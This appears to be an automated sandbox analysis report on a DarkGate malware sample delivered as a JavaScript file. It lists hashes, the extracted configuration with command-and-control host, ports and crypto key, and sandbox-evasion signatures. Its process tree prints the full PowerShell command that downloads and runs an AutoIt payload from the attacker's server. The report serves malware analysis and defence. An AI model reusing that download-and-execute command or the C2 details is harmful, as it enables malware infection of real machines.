Analysis
-
max time kernel
139s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20231023-en -
resource tags
arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system -
submitted
30-10-2023 16:20
Static task
static1
Behavioral task
behavioral1
Sample
31102023_0019_fla.js
Resource
win7-20231023-en
General
-
Target
31102023_0019_fla.js
-
Size
135KB
-
MD5
607c2a744dff9a9724c4633a33a90237
-
SHA1
0e0a43c6eed546e7e3f3b103dc78d3d898276481
-
SHA256
a4218e196e98797cf2723e653eac563d824d089df0587e39c3a27ae153ef972b
-
SHA512
17536531685491f87e9179587f7c368c937625582ae08be3e4a8d4f1a0ece33339095daaeeba1ce4b6201f0e125539f1bad815c13f12d90fead96da8ef897b69
-
SSDEEP
1536:BZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/0J:0T9U7hgaX6eerjqlI2IO6Mzqfh
Malware Config
Extracted
darkgate
ADS5
http://sftp.noheroway.com
-
alternative_c2_port
8080
-
anti_analysis
true
-
anti_debug
true
-
anti_vm
true
-
c2_port
443
-
check_disk
true
-
check_ram
true
-
check_xeon
true
-
crypter_au3
false
-
crypter_dll
false
-
crypter_rawstub
true
-
crypto_key
dUGMWnxBxUyxhC
-
internal_mutex
txtMut
-
minimum_disk
40
-
minimum_ram
7000
-
ping_interval
4
-
rootkit
true
-
startup_persistence
true
-
username
ADS5
Signatures
-
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid Process 17 5104 powershell.exe 26 5104 powershell.exe -
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation wscript.exe -
Executes dropped EXE 1 IoCs
Processes:
AutoIt3.exepid Process 888 AutoIt3.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
AutoIt3.exedescription ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 AutoIt3.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString AutoIt3.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid Process 5104 powershell.exe 5104 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid Process Token: SeDebugPrivilege 5104 powershell.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
wscript.exepowershell.exedescription pid Process procid_target PID 5064 wrote to memory of 5104 5064 wscript.exe 85 PID 5064 wrote to memory of 5104 5064 wscript.exe 85 PID 5104 wrote to memory of 888 5104 powershell.exe 92 PID 5104 wrote to memory of 888 5104 powershell.exe 92 PID 5104 wrote to memory of 888 5104 powershell.exe 92
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\31102023_0019_fla.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5064 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443/msiydguxwlx' -OutFile 'ydguxwlx.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'ydguxwlx.au3'"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5104 -
C:\tepp\AutoIt3.exe"C:\tepp\AutoIt3.exe" ydguxwlx.au33⤵
- Executes dropped EXE
- Checks processor information in registry
PID:888
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
872KB
MD5c56b5f0201a3b3de53e561fe76912bfd
SHA12a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
-
Filesize
872KB
MD5c56b5f0201a3b3de53e561fe76912bfd
SHA12a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
-
Filesize
493KB
MD51a580b40d441954f9b5f1febeb37f329
SHA15fb9ae7685dca8a5fc76f4a42e22f9898d423d6f
SHA2564f5bf06ec47409e15cba34146cf7617deaa9c2b0924bdf84a59d6f4461a98eea
SHA5126a044f3690b8b66a4d28c09f5352392793cce344de26993100e4a7ce77369f5a7d1f9d7f0a74339ee1853c51f855c7336cc3529ca3db4a5e2ca68d899a2a36c3